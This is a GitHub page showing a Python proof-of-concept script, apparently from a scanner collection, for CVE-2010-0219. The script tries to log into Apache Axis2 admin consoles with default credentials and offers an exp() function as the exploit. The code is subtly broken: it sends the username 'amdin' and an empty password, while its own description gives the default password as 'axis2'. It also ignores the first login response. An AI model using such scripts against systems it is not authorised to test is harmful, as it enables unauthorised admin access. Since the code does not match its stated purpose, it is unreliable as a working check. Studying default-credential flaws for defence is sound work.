-
Notifications
You must be signed in to change notification settings - Fork 222
/
CVE-2010-0219.py
76 lines (60 loc) · 2.5 KB
/
CVE-2010-0219.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
import requests
# Vuln Base Info
def info():
return {
"author": "cckuailong",
"name": '''Apache Axis2 Default Login''',
"description": '''Apache Axis2, as used in dswsbobje.war in SAP BusinessObjects Enterprise XI 3.2, CA ARCserve D2D r15, and other products, has a default password of axis2 for the admin account, which makes it easier for remote attackers to execute arbitrary code by uploading a crafted web service.''',
"severity": "high",
"references": [
"https://nvd.nist.gov/vuln/detail/CVE-2010-0219",
"https://knowledge.broadcom.com/external/article/13994/vulnerability-axis2-default-administrato.html"
],
"classification": {
"cvss-metrics": "",
"cvss-score": "",
"cve-id": "CVE-2010-0219",
"cwe-id": ""
},
"metadata":{
"vuln-target": "",
},
"tags": ["cve", "cve2010", "axis", "apache", "default-login", "axis2"],
}
# Vender Fingerprint
def fingerprint(url):
return True
# Proof of Concept
def poc(url):
result = {}
username = "amdin"
password = ""
try:
url = format_url(url)
path = """/axis2-admin/login"""
method = "POST"
data = """loginUsername={username}&loginPassword={password}""".format(username=username, password=password)
headers = {'Content-Type': 'application/x-www-form-urlencoded'}
resp0 = requests.request(method=method,url=url+path,data=data,headers=headers,timeout=10,verify=False,allow_redirects=False)
path = """/axis2/axis2-admin/login"""
method = "POST"
data = """userName={username}&password={password}&submit=+Login+""".format(username=username, password=password)
headers = {'Content-Type': 'application/x-www-form-urlencoded'}
resp1 = requests.request(method=method,url=url+path,data=data,headers=headers,timeout=10,verify=False,allow_redirects=False)
if ("""<h1>Welcome to Axis2 Web Admin Module !!</h1>""" in resp1.text) and (resp1.status_code == 200):
result["success"] = True
result["info"] = info()
result["payload"] = url+path
except:
result["success"] = False
return result
# Exploit, can be same with poc()
def exp(url):
return poc(url)
# Utils
def format_url(url):
url = url.strip()
if not ( url.startswith('http://') or url.startswith('https://') ):
url = 'http://' + url
url = url.rstrip('/')
return url